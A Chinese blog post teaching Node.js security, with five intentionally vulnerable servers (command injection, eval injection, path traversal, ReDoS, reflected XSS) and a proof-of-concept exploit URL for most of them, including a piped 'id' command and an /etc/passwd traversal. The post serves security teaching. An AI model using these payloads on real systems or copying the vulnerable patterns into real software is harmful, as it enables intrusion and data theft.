美文网首页
Node.js安全课程

Node.js安全课程

作者: Lucifer1993 | 来源:发表于2019-04-18 14:45 被阅读0次

1.命令执行
从代码中看出exe首先声明了一个child_process对象,然后通过parsedUrl传递的ping变量拼接传入exec方法,这样就可以控制程序流程执行想要执行的系统命令。

var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  exe.exec('ping -c 2 ' + parsedUrl.query.ping, function (err, data)
  {
  response.write("Hello "+ data);
  response.end();
  });

}).listen(8888);

exploit: http://127.0.0.1:8888/?ping=127.0.0.1|id

image.png

2.代码执行
分析代码这里使用express构建了一个web服务器,传递的name参数被包裹在eval函数里造成了代码执行。

var express = require('express');
var app = express();
app.get('/', function(req, res) {
  var resp=eval("("+req.query.name+")");
  res.send('Response</br>'+resp);
});
app.listen(8000);
通过传入表达式来验证是否存在漏洞。
image.png
可以看出表达式被执行,然后利用nodejs内置模块调用继续获取信息。
image.png
>反弹shell参考: https://www.jianshu.com/p/7e5c9d1cba4a

3.路径穿越
这段代码同样开了一个express服务,参数load被__dirname拼接,__dirname是引用模块的当前路径,然后通过创建读文件流用pipe读取文件内容。

var http = require('http'),
    fileSystem = require('fs'),
    path = require('path');

var express = require('express');
var app = express();
app.get('/', function(req, res) {
   var filePath = path.join(__dirname, '/' + req.query.load);
   var readStream = fileSystem.createReadStream(filePath);
   readStream.pipe(res);
});
app.listen(8888);

exploit: http://127.0.0.1:8888/?load=../../../../../../etc/passwd

image.png

4.ReDoS正则表达式拒绝服务攻击
关于正则表达式的拒绝服务可以参考,原理都是一样的。

https://www.freebuf.com/articles/network/124422.html

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
  starttime = process.hrtime();
  var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("User Input : "+ parsedUrl.query.email);
  response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
  response.write("</br>Server Response Time: " + process.hrtime(starttime));
  response.end();
}).listen(8888);

只要我们构造的payload满足尽可能多的匹配,当注入足够的字符的时候,正则表达式耗费时间就会越久,从而达到拒绝服务攻击的目的。

exploit:http://127.0.0.1:8888/?email=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/

image.png
大概要11秒左右才完成响应。

5.反射型XSS
通过代码可以看到传递的参数name直接回显到响应体中,所以构成反射型XSS。

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("Hello "+ parsedUrl.query.name);
  response.end();
}).listen(8888);

exploit: http://127.0.0.1:8888/?name=%3Cscript%3Ealert(1)%3C/script%3E

image.png

相关文章

  • Node.js安全课程

    1.命令执行从代码中看出exe首先声明了一个child_process对象,然后通过parsedUrl传递的pin...

  • 《Node.js 开发实战》总结

    课程背景介绍 什么是 Node.js ? Node.js 是一个基于 Chrome V8 引擎 的 JavaScr...

  • Node.js 中的并发安全问题

    Node.js 中的并发安全问题 简介 Node.js 采用非阻塞异步IO的方式来处理请求。基于 Libuv 的事...

  • NodeSchool 上 Node.js 相关课程汇总

    NodeSchool 上有一大堆免费的课程。其中,Node.js 的入门课程是 Learn you Node。想成...

  • Node.js安全清单

    前言安全性,总是一个不可忽视的问题。许多人都承认这点,但是却很少有人真的认真地对待它。所以我们列出了这个清单,让你...

  • Node.js 安全清单

    摘要:前言 安全性,总是一个不可忽视的问题。许多人都承认这点,但是却很少有人真的认真地对待它。所以我们列出了这个清...

  • 区块链技术深度剖析-课程大纲

    课程名称:区块链技术深度剖析 课程编码: 课程学分:2学分 课程学时:32学时 适用专业:网络空间安全,信息安全 ...

  • Node学习参考资料及地址

    1> Node 菜鸟课程http://www.runoob.com/nodejs/ 2> Node.js 包教不包...

  • Node.js 完整教程

    《Node.js 包教不包会》 -- by alsotang 为何写作此课程 在 CNode(https://cn...

  • 《儿童安全课程》

    《儿童居家安全与家庭急救》课程 (Home Safety & First Aid Course) 课程背景 全球儿...

网友评论

      本文标题:Node.js安全课程

      本文链接:https://www.haomeiwen.com/subject/hnpzwqtx.html